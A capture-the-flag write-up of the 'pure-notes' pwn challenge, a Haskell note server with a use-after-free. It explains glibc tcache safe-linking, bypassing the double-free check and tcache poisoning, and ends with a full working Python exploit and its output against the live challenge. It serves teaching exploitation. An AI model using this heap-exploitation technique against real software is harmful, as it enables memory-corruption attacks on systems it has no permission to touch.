pure-notes

Event
BrunnerCTF 2026
Category
pwn
Published
Tags
#heap #tcache #safe-linking #use-after-free #haskell

A Haskell notes program with a use-after-free: delete frees the buffer but keeps the record. Defeating tcache safe-linking and the double-free check turns that into a read of the flag pointer left on the banner.

pwn10 min read

On this page
Language: Haskell (GHC), compiled via `ghc Main.hs` on Debian
Runtime:  socat tcp-l:1337,reuseaddr,fork exec:/app/Main,pty,echo=0,raw,iexten=0
Heap:     glibc tcache with safe-linking (modern glibc, 2.32+)

A Haskell note server that looks like it should be immune to memory corruption. It is not, because the notes are raw C buffers allocated with Foreign.Marshal.Alloc.mallocBytes and released with free. The purity is a costume. Underneath, it is a plain glibc heap challenge with a use-after-free. The banner prints the flag’s address, saving the need for a leak.


1. The program

Main.hs is a menu-driven note taker. Commands live in a [(String, Command)] dispatch table:

type Notes = [(String, CStringLen)]

commands = [("new", new), ("write", write), ("writehex", writehex),
            ("view", view), ("delete", delete),
            ("exit", const $ const $ lift $ exitSuccess), ("list", list)]

new calls mallocBytes size and prepends the resulting (name, (ptr, size)) pair to the list. write and writehex do a lookup for the name and pokeArray bytes into the buffer. view reads with peekCAStringLen and prints. list prints all names. Standard note-taker fare.

The main function leaks the flag address:

main = do
  ...
  flag <- readFile "flag.txt"
  withCAString flag $ \cstr -> do
        putStrLn "Welcome to my note taking program"
        print cstr           -- Show (Ptr a) prints the raw address
        putStrLn ""
        loop []

print cstr uses the Show instance for Ptr a, which renders the pointer in hex. withCAString allocates via allocaBytes, so the buffer lives on the GHC heap rather than in glibc. That would matter if we had to reach the flag through the allocator that owns it, but we do not. Tcache poisoning returns whatever address we ask for, so all we need is the number.

2. Bug 1: delete frees but keeps the record

delete args notes = do
  name <- hoistMaybe $ args !? 0
  (b, _) <- hoistMaybe $ lookup name notes
  lift $ free b
  lift $ putStrLn $ "Deleted note " ++ name
  return notes          -- <-- note is NOT removed from the list

The buffer gets freed. The (name, (ptr, len)) pair stays in notes. Every subsequent lookup name still returns the dangling pointer, so view reads freed memory and write / writehex write to it. This yields read and write primitives against arbitrary tcache-managed chunks if the allocator places another chunk at the dangling address.

3. Bug 2: the flag pointer on the banner

print cstr prints the address of the pinned C string that holds the flag. Reading one line off the socket is enough to get it:

Welcome to my note taking program
0x4200504320

This GHC-heap address does not match the typical 0x7f... libc mapping.

Given a known address, the exploit only requires an arbitrary read. Tcache poisoning provides this.

4. glibc heap background

Every allocation in the exploit uses size = 128. After alignment and metadata that becomes a chunk in the same tcache bin, so all allocations use the same bin.

The tcache entry

A freed tcache chunk is treated as a tcache_entry:

typedef struct tcache_entry {
    struct tcache_entry *next;   // offset 0
    uintptr_t            key;    // offset 8
} tcache_entry;

next is the singly linked free-list pointer. key is a per-thread double-free marker. In glibc 2.34 and later it is a random value (tcache_key) seeded at thread start. In 2.29 through 2.33 it is the address of the thread’s tcache struct. Either way it is a fixed nonzero value, which is all the exploit needs.

Safe-linking

Glibc 2.32+ obfuscates next pointers in the tcache and fastbins:

#define PROTECT_PTR(pos, ptr) \
    ((__typeof(ptr)) ((((size_t)(pos)) >> 12) ^ ((size_t)(ptr))))
#define REVEAL_PTR(ptr)  PROTECT_PTR(&ptr, ptr)

The stored value is (&entry->next >> 12) ^ ptr. Writing NULL (end of the list) stores &entry->next >> 12, which is the entry’s own mem address shifted right by 12. Note that this is chunk2mem(chunk), 16 bytes above the chunk header on x86-64, not the chunk address itself. That value is the slot’s mangling key, and it occupies the first 8 bytes of the user-data area.

Double-free detection in tcache_put / _int_free

When freeing into tcache, glibc walks the bin and checks if the incoming chunk is already there. The scan uses e->key:

// simplified from _int_free / tcache_put
if (__glibc_unlikely(e->key == tcache_key)) {
    // maybe already in tcache; walk the bin and abort on match
    for (tmp = tcache->entries[tc_idx]; tmp; tmp = REVEAL_PTR(tmp->next))
        if (tmp == e) malloc_printerr("free(): double free detected in tcache 2");
}
e->key = tcache_key;

Zeroing e->key before the second free skips the scan entirely, allowing the same chunk to be freed twice.

tcache_get, the count, and aligned_OK

Malloc only calls tcache_get while counts[idx] > 0. That gate lives in __libc_malloc/_int_malloc rather than in tcache_get itself. tcache_get validates alignment and decrements the count:

// simplified from tcache_get
if (!aligned_OK(e))               // 16-byte alignment check
    malloc_printerr("malloc(): unaligned tcache chunk detected");
tcache->entries[idx] = REVEAL_PTR(e->next);
--tcache->counts[idx];
e->key = 0;                        // clears offset +8
return (void*)e;

The exploit must satisfy two constraints. The target must be 16-byte aligned to pass the aligned_OK check, and tcache_get writes 8 zero bytes at target + 8 when clearing key, which corrupts any data at that offset.

5. Exploit chain

All operations use one note name (a) plus two later allocations (b, c). Every allocation is size 128.

stepcommandheap effectuser-facing effect
1new a 128fresh chunk, call it Anotes = [(a, A)]
2delete aA enters tcache bin, A->next = PROTECT_PTR(A, NULL) = A>>12, A->key = tcache_keylist unchanged, dangling A
3view areads freed Aleaks A>>12 (the mangling key for slot A)
4writehex a 0x00 * 16overwrites A->next and A->key with NULLUAF write on freed chunk
5delete asecond free of A. e->key == 0 != tcache_key, so double-free scan is skipped. counts[idx] = 2, head stays A and tcache_put re-mangles A->next against the old head, so A->next = (A>>12) ^ A and the list loops A -> Astill one entry in notes
6writehex a p64(key ^ target)overwrites A->next with a mangled pointer to targetpoisoned free-list head chain: A -> target
7new b 128tcache_get returns A; bin head becomes REVEAL_PTR(target_mangled) = targetnotes = [(b, A), (a, A)]
8new c 128tcache_get returns target itself; e->key = 0 writes 8 zero bytes at target + 8notes = [(c, target), (b, A), (a, A)]
9view cpeekCAStringLen target 128prints the flag

Picking target

The flag string lives at flag_addr. Two constraints dictate the choice:

  1. aligned_OK requires target % 16 == 0.
  2. tcache_get zeroes 8 bytes at target + 8.

target = flag_addr - 16 satisfies both if flag_addr is 16-byte aligned. It is. allocaBytes allocates through newPinnedByteArray#, whose RTS path aligns the payload to 16 bytes rather than merely to a word. The observed 0x4200504320 is consistent with that, and 0x4200504320 % 16 == 0.

The zero write at target + 8 lands on the 8-byte length word of the 16-byte StgArrBytes header, safely ahead of the flag text. tcache_get also reads 8 bytes at target itself, unmangles the info pointer it finds there, and installs the garbage as the new bin head. That is inert here only because counts[idx] reaches 0 and the bin is never touched again. Reading 128 bytes from target covers the flag.

6. Why the notes end up in glibc’s tcache at all

GHC has its own heap and its own allocator, but the notes buffers bypass it. Foreign.Marshal.Alloc.mallocBytes wraps a direct FFI call to malloc:

mallocBytes :: Int -> IO (Ptr a)
mallocBytes size = failWhenNULL "malloc" (_malloc (fromIntegral size))
foreign import ccall unsafe "stdlib.h malloc" _malloc :: CSize -> IO (Ptr a)

free from the same module is foreign import ccall unsafe "stdlib.h free". Thus new and delete call libc malloc(128) and free(ptr) directly, which interacts with the tcache like a C program. allocaBytes, used by withCAString, allocates a pinned MutableByteArray# on the GHC heap, which is why the flag address is outside the tcache range.

7. The output encoding round-trip

view is peekCAStringLen (ptr, len) >>= putStrLn, and main sets the stdout encoding to UTF-8:

hSetEncoding stdout utf8
...
view args notes = do
  ...
  lift $ peekCAStringLen cstr >>= putStrLn

peekCAStringLen reads raw bytes and widens each to a Char in U+0000..U+00FF. putStrLn then encodes that String as UTF-8. Any byte with the high bit set is encoded as two bytes. Decoding the received data as Latin-1 yields corrupt bytes. Decoding as UTF-8 returns code points that must be folded back into bytes:

def view(name):
    cmd(b'view ' + name)
    text = result().decode('utf-8', errors='replace')
    return bytes(ord(ch) & 0xFF for ch in text)

This is necessary when reading a mangling key containing bytes greater than 0x7f, which the live key 7c9a010000000000 does (0x9a).

One caveat on that snippet: errors='replace' turns any invalid sequence into U+FFFD, and chr(0xFFFD) & 0xFF is 0xFD, so a genuinely malformed stream would be silently rewritten into plausible-looking bytes instead of raising. It is safe here because the stream really is valid UTF-8, but errors='strict' is the better default if you are adapting this.

8. Full exploit

SIZE = 128

# leak the flag pointer from the banner
io.recvuntil(b'Welcome to my note taking program\n')
flag_addr = int(io.recvline().strip(), 16)

target = flag_addr - 16
assert target % 16 == 0

# 1st free: leak the safe-linking key
cmd(b'new a %d' % SIZE); result()
cmd(b'delete a');        result()
mangle_key = u64(view(b'a')[0:8])          # (A >> 12) ^ NULL

# 2nd free: zero e->key so tcache_put skips the double-free scan
writehex(b'a', p64(0) * 2)
cmd(b'delete a');        result()          # counts[idx] == 2

# poison next, then drain the bin
writehex(b'a', p64(mangle_key ^ target))
cmd(b'new b %d' % SIZE); result()          # -> A
cmd(b'new c %d' % SIZE); result()          # -> target

data = view(b'c')
start = data.find(b'brunner{')
print(data[start:data.index(b'}', start) + 1].decode())

Nine commands in total: three to recover the mangling key (new a, delete a, view a) and six to turn it into an arbitrary read (writehex, delete, writehex, new b, new c, view c). No ROP, no libc leak, no gadget search.

9. Running it

$ python3 exploit.py pure-notes-af74529dd67613a5-global.challs.brunnerne.xyz:1337
[+] Opening connection to pure-notes-...challs.brunnerne.xyz on port 1337: Done
[+] flag string @ 0x4200504320
[+] mangle key (a>>12) = 0x19a7c
[+] FLAG: brunner{not_so_functional_is_it}

The addresses confirm the separation of heaps. The flag is located at 0x4200504320 in the GHC heap, while the note chunk is on the glibc brk heap at roughly 0x19a7c000. Poisoning the free list with key ^ target returns the requested target address regardless of which heap it belongs to.

10. Takeaways

  • Foreign.Marshal.Alloc.mallocBytes is malloc. A Haskell program using it inherits standard glibc heap behavior, including safe-linking. Purity is a property of the type system rather than the memory model.
  • First free into an empty tcache bin stores PROTECT_PTR(&next, NULL) = &next >> 12 at offset 0. This is the safe-linking key for the slot, which can be read via UAF to poison the bin without a separate heap leak.
  • Zeroing entry->key before the second free makes glibc skip its double-free scan, which checks for e->key == tcache_key.
  • tcache_get clears e->key, which corrupts 8 bytes at +8 of the returned chunk. Targets must be offset to protect critical data.
  • Reading raw bytes from a UTF-8 stdout is a two-step decode: UTF-8 to code points, then chr & 0xFF back to bytes. print cstr in Haskell prints the pointer rather than the string, providing the necessary address leak.

Notes on what I could not verify from this workspace:

  • The container’s exact glibc version. Dockerfile pins Debian by digest (sha256:96031e99…) with no tag, and no libc binary is checked in, so the release is not derivable offline. Safe-linking (2.32+) and the random tcache_key (2.34+) are stated by version range rather than pinned to a specific build.
  • GHC’s pinned ByteArray# layout and the 16-byte payload alignment from newPinnedByteArray#. There is no GHC toolchain on this machine, so this comes from the runtime’s documented behaviour and is corroborated only by the observed address 0x4200504320 being 16-byte aligned.
  • The exploit itself is not in question: it was run against the live instance and returned the flag.